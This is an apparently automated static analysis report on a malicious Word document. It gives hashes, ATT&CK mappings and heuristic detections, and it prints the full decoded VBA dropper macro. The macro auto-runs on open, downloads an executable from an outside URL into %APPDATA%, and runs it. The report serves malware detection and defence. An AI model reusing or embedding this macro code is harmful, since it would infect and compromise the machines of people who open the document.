Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cdb944d1441ab4c3…

MALICIOUS

Office (OLE)

32.5 KB Created: 2014-03-09 18:07:00 Authoring application: Microsoft Office Word First seen: 2015-09-23
MD5: 6526b89f921a8f1c9da501c106ba6990 SHA-1: f86bcfd45ea115b337c0e28c0db2eee8fb18af88 SHA-256: cdb944d1441ab4c3e9f4948e232ee79f6ac01bf21717c38221972cf23f71e106
406 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros. The document body prompts the user to enable editing and macros, a common lure. The VBA script utilizes WScript.Shell to download a second-stage executable from 'http://fantasia-films.com/cache/march10.exe' and attempts to establish persistence by writing to the Run key 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy'.

Heuristics 13

  • ClamAV: Doc.Dropper.Agent-6964446-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6964446-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set WXABAONUJHJ = CreateObject("WScript.Shell")
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
        Set WXABAONUJHJ = CreateObject("WScript.Shell")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        .write SSFMWYGDQIE.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set WXABAONUJHJ = CreateObject("WScript.Shell")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://fantasia-films.com/cache/march10.exe Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2136 bytes
SHA-256: 46fc66016cb8205e1268b9f0d5709cc1172112e77a359c6310d846e4d8176f16
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "NewMacros"

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
OYDTEYULGWL
End Sub
Function BDURHAAHRJP(BDOBKPURVET)
    Dim PDJOPZSNSFX, AQUVKMWQYVO, HHRFHBKGHFE, STUJXIVONEF, ECEXMPOLAKT, AWCXKRQCMYR
    Dim WXABAONUJHJ
    Set WXABAONUJHJ = CreateObject("WScript.Shell")
    ECEXMPOLAKT = ""
    Set PDJOPZSNSFX = CreateObject("Scripting.FileSystemObject")
    If (PDJOPZSNSFX.FolderExists(BDOBKPURVET)) Then
        Set AQUVKMWQYVO = PDJOPZSNSFX.GetFolder(BDOBKPURVET)
        Set HHRFHBKGHFE = AQUVKMWQYVO.Files
        
        For Each STUJXIVONEF In HHRFHBKGHFE
        Dim ZTXHAXEXLSG
        ZTXHAXEXLSG = BDOBKPURVET & "\" & STUJXIVONEF.Name
        WXABAONUJHJ.Run Chr(34) & ZTXHAXEXLSG & Chr(34), 1, True
    Next
        Set STUJXIVONEF = Nothing
        Set HHRFHBKGHFE = Nothing
        Set AQUVKMWQYVO = Nothing
    End If
    Set PDJOPZSNSFX = Nothing
End Function
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
Sub OYDTEYULGWL()
Set SJUZZJKHOXN = CreateObject("WScript.Shell")
IIXTLYVHBXL = SJUZZJKHOXN.ExpandEnvironmentStrings("%APPDATA%")
Dim AZHAPUWEEFO: AZHAPUWEEFO = IIXTLYVHBXL & "\RUYIJHBIVDN"

 Set PDJOPZSNSFX = CreateObject("Scripting.FileSystemObject")
   If (PDJOPZSNSFX.FolderExists(AZHAPUWEEFO)) Then
   Else
   Set oPDJOPZSNSFX = CreateObject("Scripting.FileSystemObject")
      oPDJOPZSNSFX.CreateFolder AZHAPUWEEFO
   
End If
Dim KLFBJVCTPUT: Set KLFBJVCTPUT = CreateObject("Adodb.Stream")
Dim SSFMWYGDQIE: Set SSFMWYGDQIE = CreateObject("Microsoft.XMLHTTP")
SSFMWYGDQIE.Open "GET", "http://fantasia-films.com/cache/march10.exe", False
SSFMWYGDQIE.Send
With KLFBJVCTPUT
    .Type = 1
    .Open
    .write SSFMWYGDQIE.responseBody
    .savetofile IIXTLYVHBXL & "\RUYIJHBIVDN\MGGXKPAXGAL.com", 2
End With
Call BDURHAAHRJP(AZHAPUWEEFO)
End Sub

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